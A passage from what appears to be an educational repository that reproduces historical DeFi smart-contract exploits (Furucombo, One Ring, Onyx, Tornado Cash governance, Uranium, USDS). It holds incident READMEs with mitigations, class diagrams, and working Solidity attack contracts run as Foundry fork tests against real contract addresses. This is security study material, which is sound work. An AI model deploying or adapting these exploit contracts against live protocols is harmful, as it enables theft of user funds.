where many users who had approved Furucombo to use their funds in different tokens. 79 | 80 | ## Diagrams and graphs 81 | 82 | ### Class 83 | 84 | ![class](furucombo.png) 85 | 86 | ## Sources and references 87 | - [Furucombo Twitter](https://twitter.com/furucombo/status/1365743633605959681) 88 | - [Slowmist Writeup](https://slowmist.medium.com/slowmist-analysis-of-the-furucombo-hack-28c9ae558db9) 89 | - [Origin Protocol Writeup](https://github.com/OriginProtocol/security/blob/master/incidents/2021-02-27-Furucombo.md) 90 | -[MrToph's Reproduction](https://github.com/MrToph/replaying-ethereum-hacks/blob/master/test/furucombo.ts) 91 | -------------------------------------------------------------------------------- /test/Business_Logic/Furucombo/furucombo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Furucombo/furucombo.png -------------------------------------------------------------------------------- /test/Business_Logic/Furucombo/furucombo.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IRegistry { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +🔍infos() 12 | +🔍isValid() 13 | 14 | } 15 | 16 | 17 | interface IProxy { 18 | ' -- inheritance -- 19 | 20 | ' -- usingFor -- 21 | 22 | ' -- vars -- 23 | 24 | ' -- methods -- 25 | +batchExec() 26 | 27 | } 28 | 29 | 30 | interface IAaveV2Proxy { 31 | ' -- inheritance -- 32 | 33 | ' -- usingFor -- 34 | 35 | ' -- vars -- 36 | 37 | ' -- methods -- 38 | +💰initialize() 39 | 40 | } 41 | 42 | 43 | class Exploit_Furucombo { 44 | ' -- inheritance -- 45 | {abstract}TestHarness 46 | {abstract}TokenBalanceTracker 47 | 48 | ' -- usingFor -- 49 | 50 | ' -- vars -- 51 | #[[address]] victim 52 | #[[IProxy]] furucomboProxy 53 | #[[IAaveV2Proxy]] aaveV2Proxy 54 | #[[IERC20]] usdc 55 | #[[IRegistry]] furucomboRegistry 56 | #[[address]] attacker 57 | 58 | ' -- methods -- 59 | +setUp() 60 | +test_attack() 61 | #executeTransferFrom() 62 | +💰doTransferFrom() 63 | 64 | } 65 | ' -- inheritance / usingFor -- 66 | Exploit_Furucombo --[#DarkGoldenRod]|> TestHarness 67 | Exploit_Furucombo --[#DarkGoldenRod]|> TokenBalanceTracker 68 | 69 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/OneRingFinance/README.md: -------------------------------------------------------------------------------- 1 | # One Ring Finance 2 | - **Type:** Exploit 3 | - **Network:** Fantom 4 | - **Total lost:** ~$1.55MM USDC 5 | - **Category:** Price Manipulation 6 | - **Vulnerable contracts:** 7 | - - [0x66a13cd7ea0ba9eb4c16d9951f410008f7be3a10](https://ftmscan.com/address/0x66a13cd7ea0ba9eb4c16d9951f410008f7be3a10) 8 | - **Attack transactions:** 9 | - - [0xca8dd33850e29cf138c8382e17a19e77d7331b57c7a8451648788bbb26a70145](https://ftmscan.com/tx/0xca8dd33850e29cf138c8382e17a19e77d7331b57c7a8451648788bbb26a70145) 10 | - **Attacker Addresses**: 11 | - - EOA: [0x12efed3512ea7b76f79bcde4a387216c7bce905e](https://ftmscan.com/address/0x12efed3512ea7b76f79bcde4a387216c7bce905e) 12 | - - Contract: [0x6a6d593ed7458b8213fa71f1adc4a9e5fd0b5a58](https://ftmscan.com/address/0x6a6d593ed7458b8213fa71f1adc4a9e5fd0b5a58) 13 | - **Attack Block:**: 34041500 14 | - **Date:** Mar 21, 2022 15 | - **Reproduce:** `forge test --match-contract Exploit_OneRingFinance -vvv` 16 | 17 | ## Step-by-step 18 | 1. Flashloan some USDC 19 | 2. Deposit it to mint shares 20 | 3. Withdraw the shares for USDC 21 | 4. Repay loand and transfer profit 22 | 23 | ## Detailed Description 24 | 25 | One Ring Finance used the amount of reserves held in the vault as a price gauge. The attacker can manipulate the price by changhing the amount of reserves in the contract. 26 | 27 | Both the `deposit` and `withdraw` methods use: 28 | 29 | ``` solidity 30 | uint256 _sharePrice = getSharePrice(); 31 | ``` 32 | 33 | To calculate how many shares the user must receive. To exploit this, the attacker deposited USDC into the contract, which drove the price of the shares up, and then immediatly sold them. 34 | 35 | 36 | ## Possible mitigations 37 | 38 | 1. Use Time-Weighted price feeds or other reliable oracles to get the price of commodities instead of relying on a metric that can be manipulated with flash loans. 39 | 2. Another strategy is to implement `slippage`, so the price of each share increase the more you buy. 40 | 41 | ## Diagrams and graphs 42 | 43 | ### Class 44 | 45 | ![class](onering.png) 46 | 47 | ## Sources and references 48 | - [Writeup]( https://medium.com/oneringfinance/onering-finance-exploit-post-mortem-after-oshare-hack-602a529db99b) 49 | -------------------------------------------------------------------------------- /test/Business_Logic/OneRingFinance/onering.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/OneRingFinance/onering.png -------------------------------------------------------------------------------- /test/Business_Logic/OneRingFinance/onering.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IOneRingVault { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +depositSafe() 12 | +withdraw() 13 | +🔍balanceOf() 14 | +🔍getSharePrice() 15 | 16 | } 17 | 18 | 19 | interface ISolidlyPair { 20 | ' -- inheritance -- 21 | {abstract}IUniswapV2Pair 22 | 23 | ' -- usingFor -- 24 | 25 | ' -- vars -- 26 | 27 | ' -- methods -- 28 | 29 | } 30 | 31 | 32 | class Exploit_OneRingFinance { 33 | ' -- inheritance -- 34 | {abstract}TestHarness 35 | {abstract}TokenBalanceTracker 36 | 37 | ' -- usingFor -- 38 | 39 | ' -- vars -- 40 | #[[ISolidlyPair]] pairUsdc_Mim 41 | #[[IERC20]] usdc 42 | #[[IERC20]] mim 43 | #[[IOneRingVault]] vault 44 | #[[uint256]] borrowAmount 45 | 46 | ' -- methods -- 47 | +setUp() 48 | +test_attack() 49 | +hook() 50 | 51 | } 52 | ' -- inheritance / usingFor -- 53 | ISolidlyPair --[#DarkGoldenRod]|> IUniswapV2Pair 54 | Exploit_OneRingFinance --[#DarkGoldenRod]|> TestHarness 55 | Exploit_OneRingFinance --[#DarkGoldenRod]|> TokenBalanceTracker 56 | 57 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/OnyxProtocol/Attacker1Contracts.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import { TestHarness} from "../../TestHarness.sol"; 6 | import { TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | import { IERC20 } from "../../interfaces/IERC20.sol"; 8 | import { IWETH9 } from "../../interfaces/IWETH9.sol"; 9 | import { ICERC20Delegator } from "./OnyxProtocol.attack.sol"; 10 | import { IcrETH } from "./OnyxProtocol.attack.sol"; 11 | import { IComptroller } from "./OnyxProtocol.attack.sol"; 12 | 13 | 14 | contract Attacker1Contracts is TokenBalanceTracker{ 15 | 16 | IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); 17 | ICERC20Delegator private constant oPEPE = ICERC20Delegator(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); 18 | IcrETH private constant oETHER = IcrETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79)); 19 | IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); 20 | IWETH9 private constant WETH = IWETH9(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); 21 | 22 | constructor() { 23 | addTokenToTracker(address(WETH)); 24 | addTokenToTracker(address(PEPE)); 25 | updateBalanceTracker(address(this)); 26 | } 27 | 28 | function start() external { 29 | 30 | // Approves the oPEPE contract to spend PEPE tokens on behalf of the contract 31 | console.log('------- STEP 3: Market Manipulation------'); 32 | 33 | PEPE.approve(address(oPEPE), type(uint256).max); 34 | // Mints 1e18 oPEPE tokens ( 35 | 36 | oPEPE.mint(1e18); 37 | // Redeems almost all oPEPE tokens, leaving only 2 wei of oPEPE tokens 38 | 39 | oPEPE.redeem(oPEPE.totalSupply() - 2); 40 | uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1; 41 | logBalancesWithLabel('Attacker1Contracts', address(this)); 42 | 43 | console.log('------- STEP 4: Donate to oPEPE market ------'); 44 | 45 | PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this))); 46 | 47 | address[] memory oTokens = new address[](1); 48 | oTokens[0] = address(oPEPE); 49 | Unitroller.enterMarkets(oTokens); 50 | logBalancesWithLabel('Attacker1Contracts', address(this)); 51 | 52 | console.log('------- STEP 5: Borrow from other markets ------'); 53 | oETHER.borrow(oETHER.getCash() - 1); 54 | 55 | logBalancesWithLabel('Attacker1Contracts', address(this)); 56 | (bool success,) = msg.sender.call{value: address(this).balance}(""); 57 | require(success, "Transfer ETH not successful"); 58 | 59 | 60 | console.log('------- STEP 6: Exploit rounding error to redeem donated funds ------'); 61 | oPEPE.redeemUnderlying(redeemAmt); 62 | (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); 63 | (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1); 64 | uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2; 65 | 66 | oPEPE.mint(mintAmount); 67 | logBalancesWithLabel('Attacker1Contracts', address(this)); 68 | PEPE.transfer(msg.sender, PEPE.balanceOf(address(this))); 69 | 70 | } 71 | 72 | receive() external payable {} 73 | } 74 | -------------------------------------------------------------------------------- /test/Business_Logic/OnyxProtocol/Attacker2Contracts.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import { TestHarness} from "../../TestHarness.sol"; 6 | import { TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | import { IERC20 } from "../../interfaces/IERC20.sol"; 8 | import { ICERC20Delegator } from "./OnyxProtocol.attack.sol"; 9 | import { IComptroller } from "./OnyxProtocol.attack.sol"; 10 | 11 | interface IUSDT { 12 | function approve(address _spender, uint256 _value) external; 13 | function balanceOf(address owner) external view returns (uint256); 14 | function transfer(address _to, uint256 _value) external; 15 | } 16 | 17 | contract Attacker2Contracts is TestHarness, TokenBalanceTracker { 18 | IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); 19 | ICERC20Delegator private constant oPEPE = ICERC20Delegator(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); 20 | IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 21 | IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); 22 | IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800); 23 | 24 | 25 | constructor(ICERC20Delegator oxnyToken) { 26 | addTokenToTracker(address(oxnyToken)); 27 | updateBalanceTracker(address(this)); 28 | } 29 | 30 | function start( 31 | ICERC20Delegator onyxToken 32 | ) external { 33 | console.log("------- Starting attack process", "\nTarget token:", address(onyxToken)); 34 | 35 | 36 | PEPE.approve(address(oPEPE), type(uint256).max); 37 | oPEPE.mint(1e18); 38 | 39 | oPEPE.redeem(oPEPE.totalSupply() - 2); 40 | 41 | uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1; 42 | 43 | PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this))); 44 | 45 | 46 | 47 | address[] memory oTokens = new address[](1); 48 | oTokens[0] = address(oPEPE); 49 | Unitroller.enterMarkets(oTokens); 50 | 51 | onyxToken.borrow(onyxToken.getCash() - 1); 52 | console.log("Amount: " ,IERC20(onyxToken.underlying()).balanceOf(address(this)),"\n"); 53 | 54 | 55 | if (onyxToken.underlying() == address(USDC)) { 56 | 57 | USDC.transfer(msg.sender, USDC.balanceOf(address(this))); 58 | 59 | } else if (onyxToken.underlying() == address(USDT)) { 60 | 61 | USDT.transfer(msg.sender, USDT.balanceOf(address(this))); 62 | } else { 63 | 64 | IERC20(onyxToken.underlying()).transfer(msg.sender, IERC20(onyxToken.underlying()).balanceOf(address(this))); 65 | } 66 | 67 | 68 | oPEPE.redeemUnderlying(redeemAmt); 69 | (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this)); 70 | 71 | (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(onyxToken), address(oPEPE), 1); 72 | 73 | uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2; 74 | 75 | oPEPE.mint(mintAmount); 76 | 77 | PEPE.transfer(msg.sender, PEPE.balanceOf(address(this))); 78 | } 79 | 80 | receive() external payable {} 81 | } 82 | -------------------------------------------------------------------------------- /test/Business_Logic/TornadoCash_Governance/Attacker1Contracts.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import {Ownable} from "./AttackerOwnable.sol"; 5 | import "./TornadoGovernance.interface.sol"; 6 | import {IERC20} from "../../interfaces/IERC20.sol"; 7 | import "forge-std/Test.sol"; 8 | 9 | // Contracts deployed and operated by the attacker 1 10 | // The attacker 2 wrote the lockedBalances for each minion deployed by the attacker 1 through this factory 11 | 12 | /* 13 | * This is our interpretation of the funcionality the attacker contracts' had, as we don't have the source 14 | * code deployed by the attacker. 15 | */ 16 | 17 | // No cheatcodes are used for best representation of reality. Only logs. 18 | contract Attacker1Contract { 19 | IERC20 tornToken = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C); 20 | address[] internal _minionContracts; 21 | 22 | function getMinions() public view returns (address[] memory) { 23 | return _minionContracts; 24 | } 25 | 26 | function deployMultipleContracts(uint256 amount) external { 27 | address newMinion; 28 | for (uint256 i = 0; i < amount;) { 29 | newMinion = address(new Attacker1Minion(msg.sender)); 30 | console2.log("Deploying and preparing minion #%s at address: %s", i + 1, newMinion); 31 | 32 | _minionContracts.push(newMinion); 33 | 34 | // The following steps were performed by the attacker but are not necessary for the attack 35 | // The attack works if the next lines are commented. 36 | tornToken.transferFrom(msg.sender, newMinion, 0); 37 | Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.APPROVE); 38 | Attacker1Minion(newMinion).attackTornado(Attacker1Minion.AttackInstruction.LOCK); 39 | 40 | unchecked { 41 | ++i; 42 | } 43 | } 44 | } 45 | 46 | function triggerUnlock() external { 47 | uint256 amountOfMinions = _minionContracts.length; 48 | for (uint256 i = 0; i < amountOfMinions;) { 49 | address currentMinion = _minionContracts[i]; 50 | Attacker1Minion(currentMinion).attackTornado(Attacker1Minion.AttackInstruction.UNLOCK); 51 | Attacker1Minion(currentMinion).attackTornado(Attacker1Minion.AttackInstruction.TRANSFER); 52 | 53 | unchecked { 54 | ++i; 55 | } 56 | } 57 | } 58 | } 59 | 60 | // Each minion implementation 61 | contract Attacker1Minion { 62 | enum AttackInstruction { 63 | APPROVE, 64 | LOCK, 65 | UNLOCK, 66 | TRANSFER 67 | } 68 | 69 | IERC20 tornToken = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C); 70 | ITornadoGovernance TORNADO_GOVERNANCE = ITornadoGovernance(0x5efda50f22d34F262c29268506C5Fa42cB56A1Ce); 71 | 72 | address owner; 73 | 74 | constructor(address _owner) { 75 | owner = _owner; 76 | } 77 | 78 | // this function has the signature 0x93d3a7b6 on each minion contract 79 | // The attacker implemented this method so it uses target.call(payload) and had two parameters: 80 | // something like: 0x93d3a7b6(address target, bytes memory payload); 81 | /* 82 | 83 | function 0x93d3a7b6(address target, bytes memory payload) external { 84 | (bool success, ) = target.call(payload); 85 | require(success); 86 | } 87 | 88 | */ 89 | // We show this implementation to show each step clearly 90 | function attackTornado(AttackInstruction instruction) external { 91 | if (instruction == AttackInstruction.APPROVE) { 92 | tornToken.approve(address(TORNADO_GOVERNANCE), 0); 93 | } else if (instruction == AttackInstruction.LOCK) { 94 | TORNADO_GOVERNANCE.lockWithApproval(0); 95 | } else if (instruction == AttackInstruction.UNLOCK) { 96 | TORNADO_GOVERNANCE.unlock(10_000 ether); // 10000000000000000000000 97 | } else if (instruction == AttackInstruction.TRANSFER) { 98 | tornToken.transfer(owner, 10_000 ether); 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /test/Business_Logic/TornadoCash_Governance/AttackerOwnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | abstract contract Ownable { 5 | address private _owner; 6 | 7 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 8 | 9 | /** 10 | * @dev Initializes the contract setting the deployer as the initial owner. 11 | */ 12 | constructor() { 13 | _transferOwnership(msg.sender); 14 | } 15 | 16 | /** 17 | * @dev Throws if called by any account other than the owner. 18 | */ 19 | modifier onlyOwner() { 20 | _checkOwner(); 21 | _; 22 | } 23 | 24 | /** 25 | * @dev Returns the address of the current owner. 26 | */ 27 | function owner() public view virtual returns (address) { 28 | return _owner; 29 | } 30 | 31 | /** 32 | * @dev Throws if the sender is not the owner. 33 | */ 34 | function _checkOwner() internal view virtual { 35 | require(owner() == msg.sender, "Ownable: caller is not the owner"); 36 | } 37 | 38 | /** 39 | * @dev Leaves the contract without owner. It will not be possible to call 40 | * `onlyOwner` functions. Can only be called by the current owner. 41 | * 42 | * NOTE: Renouncing ownership will leave the contract without an owner, 43 | * thereby disabling any functionality that is only available to the owner. 44 | */ 45 | function renounceOwnership() public virtual onlyOwner { 46 | _transferOwnership(address(0)); 47 | } 48 | 49 | /** 50 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 51 | * Can only be called by the current owner. 52 | */ 53 | function transferOwnership(address newOwner) public virtual onlyOwner { 54 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 55 | _transferOwnership(newOwner); 56 | } 57 | 58 | /** 59 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 60 | * Internal function without access restriction. 61 | */ 62 | function _transferOwnership(address newOwner) internal virtual { 63 | address oldOwner = _owner; 64 | _owner = newOwner; 65 | emit OwnershipTransferred(oldOwner, newOwner); 66 | } 67 | } -------------------------------------------------------------------------------- /test/Business_Logic/TornadoCash_Governance/TornadoGovernance.interface.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | interface IReinitializableContractFactory { 5 | function deployMaliciousProposal() external returns (bool); 6 | } 7 | 8 | interface IMaliciousSelfDestruct { 9 | function emergencyStop() external; 10 | } 11 | 12 | interface IProposal { 13 | function executeProposal() external; 14 | } 15 | 16 | interface IRelayerRegistry { 17 | function getRelayerBalance(address relayer) external returns (uint256); 18 | function isRelayer(address relayer) external returns (bool); 19 | function setMinStakeAmount(uint256 minAmount) external; 20 | function nullifyBalance(address relayer) external; 21 | } 22 | 23 | interface IStakingRewards { 24 | function withdrawTorn(uint256 amount) external; 25 | } 26 | 27 | interface ITornadoGovernance { 28 | enum ProposalState { 29 | Pending, 30 | Active, 31 | Defeated, 32 | Timelocked, 33 | AwaitingExecution, 34 | Executed, 35 | Expired 36 | } 37 | 38 | struct Proposal { 39 | // Creator of the proposal 40 | address proposer; 41 | // target addresses for the call to be made 42 | address target; 43 | // The block at which voting begins 44 | uint256 startTime; 45 | // The block at which voting ends: votes must be cast prior to this block 46 | uint256 endTime; 47 | // Current number of votes in favor of this proposal 48 | uint256 forVotes; 49 | // Current number of votes in opposition to this proposal 50 | uint256 againstVotes; 51 | // Flag marking whether the proposal has been executed 52 | bool executed; 53 | // Flag marking whether the proposal voting time has been extended 54 | // Voting time can be extended once, if the proposal outcome has changed during CLOSING_PERIOD 55 | bool extended; 56 | // Receipts of ballots for the entire set of voters 57 | mapping(address => Receipt) receipts; 58 | } 59 | 60 | /// @notice Ballot receipt record for a voter 61 | struct Receipt { 62 | // Whether or not a vote has been cast 63 | bool hasVoted; 64 | // Whether or not the voter supports the proposal 65 | bool support; 66 | // The number of votes the voter had, which were cast 67 | uint256 votes; 68 | } 69 | 70 | function lockWithApproval(uint256 amount) external; 71 | function unlock(uint256 amount) external; 72 | function propose(address target, string memory description) external returns (uint256); 73 | function execute(uint256 proposalId) external payable; 74 | function lockedBalance(address from) external returns (uint256); 75 | function state(uint256 proposalId) external view returns (ProposalState); 76 | function castVote(uint256 proposalId, bool support) external; 77 | } 78 | -------------------------------------------------------------------------------- /test/Business_Logic/Uranium/README.md: -------------------------------------------------------------------------------- 1 | # Uranium 2 | - **Type:** Exploit 3 | - **Network:** Binance Chain 4 | - **Total lost:** ~$50MM USD in different tokens 5 | - **Category:** Miscalculation 6 | - **Vulnerable contracts:** 7 | - - [0xA08c4571b395f81fBd3755d44eaf9a25C9399a4a](https://bscscan.com/address/0xA08c4571b395f81fBd3755d44eaf9a25C9399a4a) 8 | - **Attack transactions:** 9 | - - [0x5a504fe72ef7fc76dfeb4d979e533af4e23fe37e90b5516186d5787893c37991](https://bscscan.com/tx/0x5a504fe72ef7fc76dfeb4d979e533af4e23fe37e90b5516186d5787893c37991) 10 | - **Attacker Addresses**: 11 | - - EOA: [0xc47bdd0a852a88a019385ea3ff57cf8de79f019d](https://bscscan.com/address/0xc47bdd0a852a88a019385ea3ff57cf8de79f019d) 12 | - - Contract: [0x2b528a28451e9853F51616f3B0f6D82Af8bEA6Ae](https://bscscan.com/address/0x2b528a28451e9853F51616f3B0f6D82Af8bEA6Ae) 13 | - **Attack Block:**: 6947154 14 | - **Date:** Apr 28, 2021 15 | - **Reproduce:** `forge test --match-contract Exploit_Uranium -vvv` 16 | 17 | ## Step-by-step 18 | 1. Request a swap but without having payed for it 19 | 20 | ## Detailed Description 21 | 22 | This attack resulted from an incorrect calculation in the contant product calculation, popular in Automated Market Makers. 23 | 24 | In a constant product AMM, the most important invariant is: `x * y = k`, where `x`, `y` are assets and `k` a constant. This formula governs all trades: swapping is simply puting some amount of tokens (say, `x`) and receiving the amount of `y` so as to make `k` remain constant. `k` is a constant only in swaps; its value is decided by arbitrageurs that add liquidity to the pool (they put `x` and `y` assets in proportion to their market price). There's tons of literature on AMMs but this should be enought to understand this vulnerability. 25 | 26 | A particularity of Uniswap and its forks (like Uranium) is that its `swap()` method is not payable: yo `swap` a token for another, you first simply transfer the tokens to Uniswap and then perform the swap (this is of course only reasonable to do from a smart contract). 27 | 28 | Now, the `swap` method of Uranium is supposed to hold `k`, no matter the swap. But when upgrading the contracts, the developers modified the constant which was set to `1000` to `10000` (notices the extra zero). Nevertheless, the constant in the `require()` clause was still set to `1000**2`, the old value. 29 | 30 | ``` solidity 31 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { 32 | ... 33 | 34 | { // scope for reserve{0,1}Adjusted, avoids stack too deep errors 35 | uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(16)); 36 | uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(16)); 37 | require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UraniumSwap: K'); 38 | } 39 | 40 | _update(balance0, balance1, _reserve0, _reserve1); 41 | emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); 42 | } 43 | ``` 44 | 45 | This require, although might not look like it, is what's preserving `K`: it is checking that the `balanceAdjusted` (the new balance minus the payment amount) is bigger than or equal than the previous balance (it must check for `>=` and not only `==` because actually `constant` product is a bit of an exaggeration: `K` [always increases](https://medium.com/@chiqing/uniswap-v2-explained-beginner-friendly-b5d2cb64fe0f), either due to fees or due to inefficient use of the `swap` formula). 46 | 47 | Anyway, this update made the left hand side of the equation (which does `newX * newY`) by 10 fold bigger, while mantaining the right hand side (`oldX * oldY`). This means an attacker can perform swaps and not pay to the pool the corresponding amount of tokens necesary. 48 | 49 | ## Possible mitigations 50 | 1. Make sure invariants in the code are mantained correctly 51 | 52 | ## Diagrams and graphs 53 | 54 | ### Class 55 | 56 | ![class](uranium.png) 57 | 58 | ## Sources and references 59 | - [FrankResearcher Twitter Thread](https://twitter.com/FrankResearcher/status/1387347001172398086?s=20&t=Ki5iBMAXIitQS80Cl6BhSA) 60 | - [Rekt Article](https://rekt.news/uranium-rekt/) 61 | - [Source Code](https://bscscan.com/address/0xA08c4571b395f81fBd3755d44eaf9a25C9399a4a#code) 62 | -------------------------------------------------------------------------------- /test/Business_Logic/Uranium/uranium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/Uranium/uranium.png -------------------------------------------------------------------------------- /test/Business_Logic/Uranium/uranium.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IUraniumFactory { 4 | ' -- inheritance -- 5 | {abstract}IUniswapV2Factory 6 | 7 | ' -- usingFor -- 8 | 9 | ' -- vars -- 10 | 11 | ' -- methods -- 12 | 13 | } 14 | 15 | 16 | interface IUraniumPair { 17 | ' -- inheritance -- 18 | {abstract}IUniswapV2Pair 19 | 20 | ' -- usingFor -- 21 | 22 | ' -- vars -- 23 | 24 | ' -- methods -- 25 | 26 | } 27 | 28 | 29 | class Exploit_Uranium { 30 | ' -- inheritance -- 31 | {abstract}TestHarness 32 | {abstract}TokenBalanceTracker 33 | 34 | ' -- usingFor -- 35 | 36 | ' -- vars -- 37 | #[[IUraniumFactory]] uraniumFactory 38 | #[[address]] attacker 39 | 40 | ' -- methods -- 41 | +setUp() 42 | +test_attack() 43 | #attackEachPairOnce() 44 | 45 | } 46 | ' -- inheritance / usingFor -- 47 | IUraniumFactory --[#DarkGoldenRod]|> IUniswapV2Factory 48 | IUraniumPair --[#DarkGoldenRod]|> IUniswapV2Pair 49 | Exploit_Uranium --[#DarkGoldenRod]|> TestHarness 50 | Exploit_Uranium --[#DarkGoldenRod]|> TokenBalanceTracker 51 | 52 | @enduml -------------------------------------------------------------------------------- /test/Business_Logic/Usds/usds.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | import {IERC20} from "../../interfaces/IERC20.sol"; 8 | import {IWETH9} from '../../interfaces/IWETH9.sol'; 9 | 10 | contract Exploit_Usds is TestHarness, TokenBalanceTracker { 11 | IERC20 internal usds = IERC20(0xD74f5255D557944cf7Dd0E45FF521520002D5748); // sperax token 12 | address internal usdsWhale = 0x50450351517117Cb58189edBa6bbaD6284D45902; 13 | 14 | ContractFactory internal factory; 15 | 16 | function setUp() external { 17 | cheat.createSelectFork("arbitrum", 57803396); 18 | 19 | // As USDS is behind a proxy, Foundry does not 20 | // let us deal directly to it. 21 | // That's why we use `cheat.prank` to transfer 22 | // 20e18 USDS to this address from the USDSWhale account 23 | // deal(address(usds), address(this), 20e18); // because USDS is behind a proxy, this fails on foundry. 24 | cheat.prank(usdsWhale); 25 | usds.transfer(address(this), 20e18); 26 | cheat.deal(address(this), 0); 27 | 28 | factory = new ContractFactory(); 29 | 30 | addTokenToTracker(address(usds)); 31 | updateBalanceTracker(address(this)); 32 | } 33 | 34 | 35 | function test_attack() external { 36 | console.log('===== INITIAL BALANCES ====='); 37 | logBalancesWithLabel('\nAttacker EOA', address(this)); 38 | 39 | console.log('===== 1. Send tokens to precomputed address ====='); 40 | address precomputedAddr = factory.getAddress(factory.getBytecode(address(this)), uint256(9122018)); 41 | updateBalanceTracker(precomputedAddr); 42 | console.log('Sending tokens to %s', precomputedAddr); 43 | usds.transfer(precomputedAddr, 11e18); 44 | logBalancesWithLabel('\nAttacker Token Handler Contract (precompute)', precomputedAddr); 45 | 46 | console.log('===== 2. Deploy contract with Create2 ====='); 47 | address deployedAddr = factory.deploy(address(this), bytes32(uint256(9122018))); 48 | require(deployedAddr == precomputedAddr, 'address mismatch'); 49 | logBalancesWithLabel('\nAttacker Token Handler Contract (deployed == precompute)', deployedAddr); 50 | 51 | console.log('===== 3. Update rebasing calculation of USDS ====='); 52 | AttackerContract(deployedAddr).transferERC20(address(usds), address(this), 1); 53 | logBalancesWithLabel('\nAttacker Token Handler Contract (after update)', deployedAddr); 54 | } 55 | 56 | 57 | } 58 | 59 | contract ContractFactory { 60 | // Gets bytecode to help precomputing the address 61 | function getBytecode(address _owner) public pure returns (bytes memory) { 62 | bytes memory bytecode = type(AttackerContract).creationCode; 63 | 64 | return abi.encodePacked(bytecode, abi.encode(_owner)); 65 | } 66 | 67 | function getAddress( 68 | bytes memory bytecode, 69 | uint256 _salt 70 | ) public view returns (address) { 71 | bytes32 hash = keccak256( 72 | abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)) 73 | ); 74 | 75 | return address(uint160(uint(hash))); 76 | } 77 | 78 | function deploy( 79 | address _owner, 80 | bytes32 _salt 81 | ) public payable returns (address) { 82 | return address(new AttackerContract{salt: _salt}(_owner)); 83 | } 84 | } 85 | 86 | contract AttackerContract { 87 | // This is a simple token handler contract. 88 | // The attacker used a 1/1 Gnosis Safe and precomputed its address. The deployed it with a create2 dependant method. 89 | address internal owner; 90 | 91 | constructor(address _owner) { 92 | owner = _owner; 93 | } 94 | 95 | modifier onlyOwner() { 96 | require(msg.sender == owner, 'Not owner'); 97 | _; 98 | } 99 | 100 | function transferERC20(address _ERC20, 